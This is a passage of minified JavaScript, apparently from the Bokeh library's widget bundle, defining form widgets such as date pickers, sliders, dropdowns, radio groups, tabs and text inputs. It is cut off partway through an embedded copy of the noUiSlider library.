t=this._o.trigger,e=this.el.offsetWidth,n=this.el.offsetHeight,i=window.innerWidth||document.documentElement.clientWidth,r=window.innerHeight||document.documentElement.clientHeight,o=window.pageYOffset||document.body.scrollTop||document.documentElement.scrollTop,s=t.getBoundingClientRect(),a=s.left+window.pageXOffset,l=s.bottom+window.pageYOffset;a-=this.el.parentElement.offsetLeft,l-=this.el.parentElement.offsetTop,(this._o.reposition&&i<a+e||-1<this._o.position.indexOf(\\\"right\\\")&&0<a-e+t.offsetWidth)&&(a=a-e+t.offsetWidth),(this._o.reposition&&r+o<l+n||-1<this._o.position.indexOf(\\\"top\\\")&&0<l-n-t.offsetHeight)&&(l=l-n-t.offsetHeight),this.el.style.left=a+\\\"px\\\",this.el.style.top=l+\\\"px\\\"}};var l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype.css_classes=function(){return t.prototype.css_classes.call(this).concat(\\\"bk-widget-form-group\\\")},e.prototype.render=function(){var e=this;t.prototype.render.call(this),null!=this._picker&&this._picker.destroy(),o.empty(this.el),this.labelEl=o.label({},this.model.title),this.el.appendChild(this.labelEl),this.inputEl=o.input({type:\\\"text\\\",class:\\\"bk-widget-form-input\\\",disabled:this.model.disabled}),this.el.appendChild(this.inputEl),this._picker=new a({field:this.inputEl,defaultDate:new Date(this.model.value),setDefaultDate:!0,minDate:null!=this.model.min_date?new Date(this.model.min_date):void 0,maxDate:null!=this.model.max_date?new Date(this.model.max_date):void 0,onSelect:function(t){return e._on_select(t)}}),this._root_element.appendChild(this._picker.el)},e.prototype._on_select=function(t){this.model.value=t.toDateString(),this.change_input()},e}(r.InputWidgetView);n.DatePickerView=l;var u=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"DatePicker\\\",this.prototype.default_view=l,this.define({value:[s.Any,(new Date).toDateString()],min_date:[s.Any],max_date:[s.Any]})},t}(r.InputWidget);(n.DatePicker=u).initClass()},409:function(t,e,n){var i=t(391),r=t(390),o=t(403),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype._calc_to=function(){return{start:this.model.start,end:this.model.end,value:this.model.value,step:this.model.step}},e.prototype._calc_from=function(t){return t},e}(o.AbstractSliderView);n.DateRangeSliderView=s;var a=function(n){function t(t){var e=n.call(this,t)||this;return e.behaviour=\\\"drag\\\",e.connected=[!1,!0,!1],e}return i.__extends(t,n),t.initClass=function(){this.prototype.type=\\\"DateRangeSlider\\\",this.prototype.default_view=s,this.override({format:\\\"%d %b %Y\\\"})},t.prototype._formatter=function(t,e){return r(t,e)},t}(o.AbstractSlider);(n.DateRangeSlider=a).initClass()},410:function(t,e,n){var i=t(391),r=t(390),o=t(403),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype._calc_to=function(){return{start:this.model.start,end:this.model.end,value:[this.model.value],step:this.model.step}},e.prototype._calc_from=function(t){var e=t[0];return e},e}(o.AbstractSliderView);n.DateSliderView=s;var a=function(n){function t(t){var e=n.call(this,t)||this;return e.behaviour=\\\"tap\\\",e.connected=[!0,!1],e}return i.__extends(t,n),t.initClass=function(){this.prototype.type=\\\"DateSlider\\\",this.prototype.default_view=s,this.override({format:\\\"%d %b %Y\\\"})},t.prototype._formatter=function(t,e){return r(t,e)},t}(o.AbstractSlider);(n.DateSlider=a).initClass()},411:function(t,e,n){var i=t(391),r=t(416),o=t(5),s=t(15),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return i.__extends(t,e),t.prototype.render=function(){e.prototype.render.call(this);var t=o.div();this.model.render_as_text?t.textContent=this.model.text:t.innerHTML=this.model.text,this.markupEl.appendChild(t)},t}(r.MarkupView);n.DivView=a;var l=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Div\\\",this.prototype.default_view=a,this.define({render_as_text:[s.Bool,!1]})},t}(r.Markup);(n.Div=l).initClass()},412:function(t,e,n){var i=t(391),h=t(5),r=t(400),o=t(15),s=t(401),a=function(d){function t(){return null!==d&&d.apply(this,arguments)||this}return i.__extends(t,d),t.prototype.connect_signals=function(){var t=this;d.prototype.connect_signals.call(this),r.clear_menus.connect(function(){return t._clear_menu()})},t.prototype.render=function(){var e=this;if(d.prototype.render.call(this),this.model.is_split_button){this.el.classList.add(\\\"bk-bs-btn-group\\\");var t=this._render_button(h.span({class:\\\"bk-bs-caret\\\"}));t.classList.add(\\\"bk-bs-dropdown-toggle\\\"),t.addEventListener(\\\"click\\\",function(t){return e._caret_click(t)}),this.el.appendChild(t)}else this.el.classList.add(\\\"bk-bs-dropdown\\\"),this.buttonEl.classList.add(\\\"bk-bs-dropdown-toggle\\\"),this.buttonEl.appendChild(h.span({class:\\\"bk-bs-caret\\\"}));this.model.active&&this.el.classList.add(\\\"bk-bs-open\\\");for(var n=[],i=0,r=this.model.menu;i<r.length;i++){var o=r[i],s=void 0;if(null!=o){var a=o[0],l=o[1],u=h.a({},a);u.dataset.value=l,u.addEventListener(\\\"click\\\",function(t){return e._item_click(t)}),s=h.li({},u)}else s=h.li({class:\\\"bk-bs-divider\\\"});n.push(s)}var c=h.ul({class:\\\"bk-bs-dropdown-menu\\\"},n);this.el.appendChild(c)},t.prototype._clear_menu=function(){this.model.active=!1},t.prototype._toggle_menu=function(){var t=this.model.active;r.clear_menus.emit(),t||(this.model.active=!0)},t.prototype._button_click=function(t){t.preventDefault(),t.stopPropagation(),this.model.is_split_button?(this._clear_menu(),this.set_value(this.model.default_value)):this._toggle_menu()},t.prototype._caret_click=function(t){t.preventDefault(),t.stopPropagation(),this._toggle_menu()},t.prototype._item_click=function(t){t.preventDefault(),this._clear_menu(),this.set_value(t.currentTarget.dataset.value)},t.prototype.set_value=function(t){this.buttonEl.value=this.model.value=t,this.change_input()},t}(s.AbstractButtonView);n.DropdownView=a;var l=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Dropdown\\\",this.prototype.default_view=a,this.define({value:[o.String],default_value:[o.String],menu:[o.Array,[]]}),this.override({label:\\\"Dropdown\\\"}),this.internal({active:[o.Boolean,!1]})},Object.defineProperty(t.prototype,\\\"is_split_button\\\",{get:function(){return null!=this.default_value},enumerable:!0,configurable:!0}),t}(s.AbstractButton);(n.Dropdown=l).initClass()},413:function(t,e,n){var i=t(401);n.AbstractButton=i.AbstractButton;var r=t(402);n.AbstractIcon=r.AbstractIcon;var o=t(404);n.AutocompleteInput=o.AutocompleteInput;var s=t(405);n.Button=s.Button;var a=t(406);n.CheckboxButtonGroup=a.CheckboxButtonGroup;var l=t(407);n.CheckboxGroup=l.CheckboxGroup;var u=t(408);n.DatePicker=u.DatePicker;var c=t(409);n.DateRangeSlider=c.DateRangeSlider;var d=t(410);n.DateSlider=d.DateSlider;var h=t(411);n.Div=h.Div;var p=t(412);n.Dropdown=p.Dropdown;var f=t(414);n.InputWidget=f.InputWidget;var m=t(416);n.Markup=m.Markup;var v=t(417);n.MultiSelect=v.MultiSelect;var g=t(418);n.Panel=g.Panel;var y=t(419);n.Paragraph=y.Paragraph;var b=t(420);n.PasswordInput=b.PasswordInput;var _=t(421);n.PreText=_.PreText;var w=t(422);n.RadioButtonGroup=w.RadioButtonGroup;var x=t(423);n.RadioGroup=x.RadioGroup;var k=t(424);n.RangeSlider=k.RangeSlider;var S=t(425);n.Select=S.Select;var C=t(426);n.Slider=C.Slider;var E=t(427);n.Tabs=E.Tabs;var D=t(428);n.TextInput=D.TextInput;var M=t(429);n.Toggle=M.Toggle;var A=t(440);n.Widget=A.Widget},414:function(t,e,n){var i=t(391),r=t(440),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype.change_input=function(){null!=this.model.callback&&this.model.callback.execute(this.model)},e}(r.WidgetView);n.InputWidgetView=s;var a=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"InputWidget\\\",this.prototype.default_view=s,this.define({title:[o.String,\\\"\\\"],callback:[o.Instance]})},t}(r.Widget);(n.InputWidget=a).initClass()},415:function(t,e,n){var i=t(413);n.Widgets=i;var r=t(0);r.register_models(i)},416:function(t,e,n){var i=t(391),r=t(15),o=t(5),s=t(440),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return i.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.render()},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.render()})},t.prototype.render=function(){e.prototype.render.call(this),o.empty(this.el);var t=i.__assign({width:this.model.width+\\\"px\\\",height:this.model.height+\\\"px\\\"},this.model.style);this.markupEl=o.div({style:t}),this.el.appendChild(this.markupEl)},t}(s.WidgetView);n.MarkupView=a;var l=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Markup\\\",this.define({text:[r.String,\\\"\\\"],style:[r.Any,{}]})},t}(s.Widget);(n.Markup=l).initClass()},417:function(t,e,n){var i=t(391),r=t(5),s=t(44),a=t(29),o=t(15),l=t(414),u=function(o){function t(){return null!==o&&o.apply(this,arguments)||this}return i.__extends(t,o),t.prototype.initialize=function(t){o.prototype.initialize.call(this,t),this.render()},t.prototype.connect_signals=function(){var t=this;o.prototype.connect_signals.call(this),this.connect(this.model.properties.value.change,function(){return t.render_selection()}),this.connect(this.model.properties.options.change,function(){return t.render()}),this.connect(this.model.properties.name.change,function(){return t.render()}),this.connect(this.model.properties.title.change,function(){return t.render()}),this.connect(this.model.properties.size.change,function(){return t.render()}),this.connect(this.model.properties.disabled.change,function(){return t.render()})},t.prototype.render=function(){var t=this;o.prototype.render.call(this),r.empty(this.el);var e=r.label({for:this.model.id},this.model.title);this.el.appendChild(e);var n=this.model.options.map(function(t){var e,n;return s.isString(t)?e=n=t:(e=t[0],n=t[1]),r.option({value:e},n)});this.selectEl=r.select({multiple:!0,class:\\\"bk-widget-form-input\\\",id:this.model.id,name:this.model.name,disabled:this.model.disabled},n),this.selectEl.addEventListener(\\\"change\\\",function(){return t.change_input()}),this.el.appendChild(this.selectEl),this.render_selection()},t.prototype.render_selection=function(){for(var t=new a.Set(this.model.value),e=0,n=Array.from(this.el.querySelectorAll(\\\"option\\\"));e<n.length;e++){var i=n[e];i.selected=t.has(i.value)}this.selectEl.size=this.model.size},t.prototype.change_input=function(){for(var t=null!=this.el.querySelector(\\\"select:focus\\\"),e=[],n=0,i=Array.from(this.el.querySelectorAll(\\\"option\\\"));n<i.length;n++){var r=i[n];r.selected&&e.push(r.value)}this.model.value=e,o.prototype.change_input.call(this),t&&this.selectEl.focus()},t}(l.InputWidgetView);n.MultiSelectView=u;var c=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"MultiSelect\\\",this.prototype.default_view=u,this.define({value:[o.Array,[]],options:[o.Array,[]],size:[o.Number,4]})},t}(l.InputWidget);(n.MultiSelect=c).initClass()},418:function(t,e,n){var i=t(391),r=t(440),o=t(15),s=t(5),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype.render=function(){t.prototype.render.call(this),s.empty(this.el)},e}(r.WidgetView);n.PanelView=a;var l=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Panel\\\",this.prototype.default_view=a,this.define({title:[o.String,\\\"\\\"],child:[o.Instance],closable:[o.Bool,!1]})},t}(r.Widget);(n.Panel=l).initClass()},419:function(t,e,n){var i=t(391),r=t(416),o=t(5),s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return i.__extends(t,e),t.prototype.render=function(){e.prototype.render.call(this);var t=o.p({style:{margin:0}},this.model.text);this.markupEl.appendChild(t)},t}(r.MarkupView);n.ParagraphView=s;var a=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Paragraph\\\",this.prototype.default_view=s},t}(r.Markup);(n.Paragraph=a).initClass()},420:function(t,e,n){var i=t(391),r=t(428),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype.render=function(){t.prototype.render.call(this),this.inputEl.type=\\\"password\\\"},e}(r.TextInputView);n.PasswordInputView=o;var s=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"PasswordInput\\\",this.prototype.default_view=o},t}(r.TextInput);(n.PasswordInput=s).initClass()},421:function(t,e,n){var i=t(391),r=t(416),o=t(5),s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return i.__extends(t,e),t.prototype.render=function(){e.prototype.render.call(this);var t=o.pre({style:{overflow:\\\"auto\\\"}},this.model.text);this.markupEl.appendChild(t)},t}(r.MarkupView);n.PreTextView=s;var a=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"PreText\\\",this.prototype.default_view=s},t}(r.Markup);(n.PreText=a).initClass()},422:function(t,e,n){var i=t(391),c=t(5),d=t(38),r=t(15),o=t(440),s=function(u){function t(){return null!==u&&u.apply(this,arguments)||this}return i.__extends(t,u),t.prototype.initialize=function(t){u.prototype.initialize.call(this,t),this.render()},t.prototype.connect_signals=function(){var t=this;u.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.render()})},t.prototype.render=function(){var t=this;u.prototype.render.call(this),c.empty(this.el);var e=c.div({class:\\\"bk-bs-btn-group\\\"});this.el.appendChild(e);for(var n=d.uniqueId(),i=this.model.active,r=this.model.labels,o=0;o<r.length;o++){var s=r[o],a=c.input({type:\\\"radio\\\",name:n,value:\\\"\\\"+o,checked:o==i});a.addEventListener(\\\"change\\\",function(){return t.change_input()});var l=c.label({class:[\\\"bk-bs-btn\\\",\\\"bk-bs-btn-\\\"+this.model.button_type]},a,s);o==i&&l.classList.add(\\\"bk-bs-active\\\"),e.appendChild(l)}},t.prototype.change_input=function(){for(var t=this.el.querySelectorAll(\\\"input\\\"),e=[],n=0;n<t.length;n++){var i=t[n];i.checked&&e.push(n)}this.model.active=e[0],null!=this.model.callback&&this.model.callback.execute(this.model)},t}(o.WidgetView);n.RadioButtonGroupView=s;var a=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"RadioButtonGroup\\\",this.prototype.default_view=s,this.define({active:[r.Any,null],labels:[r.Array,[]],button_type:[r.String,\\\"default\\\"],callback:[r.Instance]})},t}(o.Widget);(n.RadioButtonGroup=a).initClass()},423:function(t,e,n){var i=t(391),c=t(5),d=t(38),r=t(15),o=t(440),s=function(u){function t(){return null!==u&&u.apply(this,arguments)||this}return i.__extends(t,u),t.prototype.initialize=function(t){u.prototype.initialize.call(this,t),this.render()},t.prototype.connect_signals=function(){var t=this;u.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.render()})},t.prototype.render=function(){var t=this;u.prototype.render.call(this),c.empty(this.el);for(var e=d.uniqueId(),n=this.model.active,i=this.model.labels,r=0;r<i.length;r++){var o=i[r],s=c.input({type:\\\"radio\\\",name:e,value:\\\"\\\"+r});s.addEventListener(\\\"change\\\",function(){return t.change_input()}),this.model.disabled&&(s.disabled=!0),r==n&&(s.checked=!0);var a=c.label({},s,o);if(this.model.inline)a.classList.add(\\\"bk-bs-radio-inline\\\"),this.el.appendChild(a);else{var l=c.div({class:\\\"bk-bs-radio\\\"},a);this.el.appendChild(l)}}},t.prototype.change_input=function(){for(var t=this.el.querySelectorAll(\\\"input\\\"),e=[],n=0;n<t.length;n++){var i=t[n];i.checked&&e.push(n)}this.model.active=e[0],null!=this.model.callback&&this.model.callback.execute(this.model)},t}(o.WidgetView);n.RadioGroupView=s;var a=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"RadioGroup\\\",this.prototype.default_view=s,this.define({active:[r.Any,null],labels:[r.Array,[]],inline:[r.Bool,!1],callback:[r.Instance]})},t}(o.Widget);(n.RadioGroup=a).initClass()},424:function(t,e,n){var i=t(391),r=t(361),o=t(403),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype._calc_to=function(){return{start:this.model.start,end:this.model.end,value:this.model.value,step:this.model.step}},e.prototype._calc_from=function(t){return t},e}(o.AbstractSliderView);n.RangeSliderView=s;var a=function(n){function t(t){var e=n.call(this,t)||this;return e.behaviour=\\\"drag\\\",e.connected=[!1,!0,!1],e}return i.__extends(t,n),t.initClass=function(){this.prototype.type=\\\"RangeSlider\\\",this.prototype.default_view=s,this.override({format:\\\"0[.]00\\\"})},t.prototype._formatter=function(t,e){return r.format(t,e)},t}(o.AbstractSlider);(n.RangeSlider=a).initClass()},425:function(t,e,n){var i=t(391),a=t(5),l=t(44),r=t(14),o=t(15),s=t(414),u=function(s){function t(){return null!==s&&s.apply(this,arguments)||this}return i.__extends(t,s),t.prototype.initialize=function(t){s.prototype.initialize.call(this,t),this.render()},t.prototype.connect_signals=function(){var t=this;s.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.render()})},t.prototype.build_options=function(t){var r=this;return t.map(function(t){var e,n;l.isString(t)?e=n=t:(e=t[0],n=t[1]);var i=r.model.value==e;return a.option({selected:i,value:e},n)})},t.prototype.render=function(){var t=this;s.prototype.render.call(this),a.empty(this.el);var e,n=a.label({for:this.model.id},this.model.title);if(this.el.appendChild(n),l.isArray(this.model.options))e=this.build_options(this.model.options);else{e=[];var i=this.model.options;for(var r in i){var o=i[r];e.push(a.optgroup({label:r},this.build_options(o)))}}this.selectEl=a.select({class:\\\"bk-widget-form-input\\\",id:this.model.id,name:this.model.name,disabled:this.model.disabled},e),this.selectEl.addEventListener(\\\"change\\\",function(){return t.change_input()}),this.el.appendChild(this.selectEl)},t.prototype.change_input=function(){var t=this.selectEl.value;r.logger.debug(\\\"selectbox: value = \\\"+t),this.model.value=t,s.prototype.change_input.call(this)},t}(s.InputWidgetView);n.SelectView=u;var c=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Select\\\",this.prototype.default_view=u,this.define({value:[o.String,\\\"\\\"],options:[o.Any,[]]})},t}(s.InputWidget);(n.Select=c).initClass()},426:function(t,e,n){var i=t(391),r=t(361),o=t(403),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype._calc_to=function(){return{start:this.model.start,end:this.model.end,value:[this.model.value],step:this.model.step}},e.prototype._calc_from=function(t){var e=t[0];return Number.isInteger(this.model.start)&&Number.isInteger(this.model.end)&&Number.isInteger(this.model.step)?Math.round(e):e},e}(o.AbstractSliderView);n.SliderView=s;var a=function(n){function t(t){var e=n.call(this,t)||this;return e.behaviour=\\\"tap\\\",e.connected=[!0,!1],e}return i.__extends(t,n),t.initClass=function(){this.prototype.type=\\\"Slider\\\",this.prototype.default_view=s,this.override({format:\\\"0[.]00\\\"})},t.prototype._formatter=function(t,e){return r.format(t,e)},t}(o.AbstractSlider);(n.Slider=a).initClass()},427:function(t,e,n){var i=t(391),h=t(5),p=t(21),r=t(15),o=t(440),s=function(d){function t(){return null!==d&&d.apply(this,arguments)||this}return i.__extends(t,d),t.prototype.connect_signals=function(){var t=this;d.prototype.connect_signals.call(this),this.connect(this.model.properties.tabs.change,function(){return t.rebuild_child_views()}),this.connect(this.model.properties.active.change,function(){return t.render()})},t.prototype.render=function(){var r=this;d.prototype.render.call(this),h.empty(this.el);var t=this.model.tabs.length;if(0!=t){this.model.active>=t&&(this.model.active=t-1);var o=this.model.tabs.map(function(t,e){return h.li({},h.span({data:{index:e}},t.title))});o[this.model.active].classList.add(\\\"bk-bs-active\\\");var e=h.ul({class:[\\\"bk-bs-nav\\\",\\\"bk-bs-nav-tabs\\\"]},o);this.el.appendChild(e);var s=this.model.tabs.map(function(t){return h.div({class:\\\"bk-bs-tab-pane\\\"})});s[this.model.active].classList.add(\\\"bk-bs-active\\\");var n=h.div({class:\\\"bk-bs-tab-content\\\"},s);this.el.appendChild(n),e.addEventListener(\\\"click\\\",function(t){if(t.preventDefault(),t.target!=t.currentTarget){var e=t.target,n=r.model.active,i=parseInt(e.dataset.index);n!=i&&(o[n].classList.remove(\\\"bk-bs-active\\\"),s[n].classList.remove(\\\"bk-bs-active\\\"),o[i].classList.add(\\\"bk-bs-active\\\"),s[i].classList.add(\\\"bk-bs-active\\\"),r.model.active=i,null!=r.model.callback&&r.model.callback.execute(r.model))}});for(var i=0,a=p.zip(this.model.children,s);i<a.length;i++){var l=a[i],u=l[0],c=l[1];c.appendChild(this.child_views[u.id].el)}}},t}(o.WidgetView);n.TabsView=s;var a=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Tabs\\\",this.prototype.default_view=s,this.define({tabs:[r.Array,[]],active:[r.Number,0],callback:[r.Instance]})},t.prototype.get_layoutable_children=function(){return this.children},Object.defineProperty(t.prototype,\\\"children\\\",{get:function(){return this.tabs.map(function(t){return t.child})},enumerable:!0,configurable:!0}),t}(o.Widget);(n.Tabs=a).initClass()},428:function(t,e,n){var i=t(391),r=t(14),o=t(15),s=t(5),a=t(414),l=function(n){function t(){return null!==n&&n.apply(this,arguments)||this}return i.__extends(t,n),t.prototype.initialize=function(t){n.prototype.initialize.call(this,t),this.render()},t.prototype.connect_signals=function(){var t=this;n.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.render()})},t.prototype.css_classes=function(){return n.prototype.css_classes.call(this).concat(\\\"bk-widget-form-group\\\")},t.prototype.render=function(){var t=this;n.prototype.render.call(this),s.empty(this.el);var e=s.label({for:this.model.id},this.model.title);this.el.appendChild(e),this.inputEl=s.input({type:\\\"text\\\",class:\\\"bk-widget-form-input\\\",id:this.model.id,name:this.model.name,value:this.model.value,disabled:this.model.disabled,placeholder:this.model.placeholder}),this.inputEl.addEventListener(\\\"change\\\",function(){return t.change_input()}),this.el.appendChild(this.inputEl),this.model.height&&(this.inputEl.style.height=this.model.height-35+\\\"px\\\")},t.prototype.change_input=function(){var t=this.inputEl.value;r.logger.debug(\\\"widget/text_input: value = \\\"+t),this.model.value=t,n.prototype.change_input.call(this)},t}(a.InputWidgetView);n.TextInputView=l;var u=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"TextInput\\\",this.prototype.default_view=l,this.define({value:[o.String,\\\"\\\"],placeholder:[o.String,\\\"\\\"]})},t}(a.InputWidget);(n.TextInput=u).initClass()},429:function(t,e,n){var i=t(391),r=t(401),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype.render=function(){t.prototype.render.call(this),this.model.active&&this.buttonEl.classList.add(\\\"bk-bs-active\\\")},e.prototype.change_input=function(){this.model.active=!this.model.active,t.prototype.change_input.call(this)},e}(r.AbstractButtonView);n.ToggleView=s;var a=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Toggle\\\",this.prototype.default_view=s,this.define({active:[o.Bool,!1]}),this.override({label:\\\"Toggle\\\"})},t}(r.AbstractButton);(n.Toggle=a).initClass()},440:function(t,e,n){var i=t(391),r=t(157),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype.css_classes=function(){return t.prototype.css_classes.call(this).concat(\\\"bk-widget\\\")},e.prototype.render=function(){this._render_classes(),null!=this.model.height&&(this.el.style.height=this.model.height+\\\"px\\\"),null!=this.model.width&&(this.el.style.width=this.model.width+\\\"px\\\")},e.prototype.get_width=function(){throw new Error(\\\"unused\\\")},e.prototype.get_height=function(){throw new Error(\\\"unused\\\")},e}(r.LayoutDOMView);n.WidgetView=o;var s=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Widget\\\"},t}(r.LayoutDOM);(n.Widget=s).initClass()},431:function(t,e,n){\\n      /*! nouislider - 10.1.0 - 2017-07-28 17:11:18 */var i;i=function(){\\\"use strict\\\";var $=\\\"10.1.0\\\";function Q(t){t.preventDefault()}function r(t){return\\\"number\\\"==typeof t&&!isNaN(t)&&isFinite(t)}function Z(t,e,n){0<n&&(et(t,e),setTimeout(function(){nt(t,e)},n))}function tt(t){return Array.isArray(t)?t:[t]}function e(t){var e=(t=String(t)).split(\\\".\\\");return 1<e.length?e[1].length:0}function et(t,e){t.classList?t.classList.add(e):t.className+=\\\" \\\"+e}function nt(t,e){t.classList?t.classList.remove(e):t.className=t.className.replace(new RegExp(\\\"(^|\\\\\\\\b)\\\"+e.split(\\\" \\\").join(\\\"|\\\")+\\\"(\\\\\\\\b|$)\\\",\\\"gi\\\"),\\\" \\\")}function it(t){var e=void 0!==window.pageXOffset,n=\\\"CSS1Compat\\\"===(t.compatMode||\\\"\\\"),i=e?window.pageXOffset:n?t.documentElement.scrollLeft:t.body.scrollLeft,r=e?window.pageYOffset:n?t.documentElement.scrollTop:t.body.scrollTop;return{x:i,y:r}}function c(t,e){return 100/(e-t)}function d(t,e){return 100*e/(t[1]-t[0])}function h(t,e){for(var n=1;t>=e[n];)n+=1;return n}function n(t,e,n){if(n>=t.slice(-1)[0])return 100;var i,r,o,s,a,l,u=h(n,t);return i=t[u-1],r=t[u],o=e[u-1],s=e[u],o+(l=n,d(a=[i,r],a[0]<0?l+Math.abs(a[0]):l-a[0])/c(o,s))}function i(t,e,n,i){if(100===i)return i;var r,o,s,a,l=h(i,t);return n?(r=t[l-1],((o=t[l])-r)/2<i-r?o:r):e[l-1]?t[l-1]+(s=i-t[l-1],a=e[l-1],Math.round(s/a)*a):i}function o(t,e,n){var i;if(\\\"number\\\"==typeof e&&(e=[e]),\\\"[object Array]\\\"!==Object.prototype.toString.call(e))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'range' contains invalid value.\\\");if(!r(i=\\\"min\\\"===t?0:\\\"max\\\"===t?100:parseFloat(t))||!r(e[0]))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'range' value isn't numeric.\\\");n.xPct.push(i),n.xVal.push(e[0]),i?n.xSteps.push(!isNaN(e[1])&&e[1]):isNaN(e[1])||(n.xSteps[0]=e[1]),n.xHighestCompleteStep.push(0)}function s(t,e,n){if(!e)return!0;n.xSteps[t]=d([n.xVal[t],n.xVal[t+1]],e)/c(n.xPct[t],n.xPct[t+1]);var i=(n.xVal[t+1]-n.xVal[t])/n.xNumSteps[t],r=Math.ceil(Number(i.toFixed(3))-1),o=n.xVal[t]+n.xNumSteps[t]*r;n.xHighestCompleteStep[t]=o}function a(t,e,n){this.xPct=[],this.xVal=[],this.xSteps=[n||!1],this.xNumSteps=[!1],this.xHighestCompleteStep=[],this.snap=e;var i,r=[];for(i in t)t.hasOwnProperty(i)&&r.push([t[i],i]);for(r.length&&\\\"object\\\"==typeof r[0][0]?r.sort(function(t,e){return t[0][0]-e[0][0]}):r.sort(function(t,e){return t[0]-e[0]}),i=0;i<r.length;i++)o(r[i][1],r[i][0],this);for(this.xNumSteps=this.xSteps.slice(0),i=0;i<this.xNumSteps.length;i++)s(i,this.xNumSteps[i],this)}a.prototype.getMargin=function(t){var e=this.xNumSteps[0];if(e&&t/e%1!=0)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'limit', 'margin' and 'padding' must be divisible by step.\\\");return 2===this.xPct.length&&d(this.xVal,t)},a.prototype.toStepping=function(t){return t=n(this.xVal,this.xPct,t)},a.prototype.fromStepping=function(t){return function(t,e,n){if(100<=n)return t.slice(-1)[0];var i,r,o,s,a,l=h(n,e);return i=t[l-1],r=t[l],o=e[l-1],s=e[l],a=[i,r],(n-o)*c(o,s)*(a[1]-a[0])/100+a[0]}(this.xVal,this.xPct,t)},a.prototype.getStep=function(t){return t=i(this.xPct,this.xSteps,this.snap,t)},a.prototype.getNearbySteps=function(t){var e=h(t,this.xPct);return{stepBefore:{startValue:this.xVal[e-2],step:this.xNumSteps[e-2],highestStep:this.xHighestCompleteStep[e-2]},thisStep:{startValue:this.xVal[e-1],step:this.xNumSteps[e-1],highestStep:this.xHighestCompleteStep[e-1]},stepAfter:{startValue:this.xVal[e-0],step:this.xNumSteps[e-0],highestStep:this.xHighestCompleteStep[e-0]}}},a.prototype.countStepDecimals=function(){var t=this.xNumSteps.map(e);return Math.max.apply(null,t)},a.prototype.convert=function(t){return this.getStep(this.toStepping(t))};var l={to:function(t){return void 0!==t&&t.toFixed(2)},from:Number};function u(t){if(\\\"object\\\"==typeof(e=t)&&\\\"function\\\"==typeof e.to&&\\\"function\\\"==typeof e.from)return!0;var e;throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'format' requires 'to' and 'from' methods.\\\")}function p(t,e){if(!r(e))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'step' is not numeric.\\\");t.singleStep=e}function f(t,e){if(\\\"object\\\"!=typeof e||Array.isArray(e))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'range' is not an object.\\\");if(void 0===e.min||void 0===e.max)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): Missing 'min' or 'max' in 'range'.\\\");if(e.min===e.max)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'range' 'min' and 'max' cannot be equal.\\\");t.spectrum=new a(e,t.snap,t.singleStep)}function m(t,e){if(e=tt(e),!Array.isArray(e)||!e.length)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'start' option is incorrect.\\\");t.handles=e.length,t.start=e}function v(t,e){if(\\\"boolean\\\"!=typeof(t.snap=e))throw new Error(\\\"noUiSlider 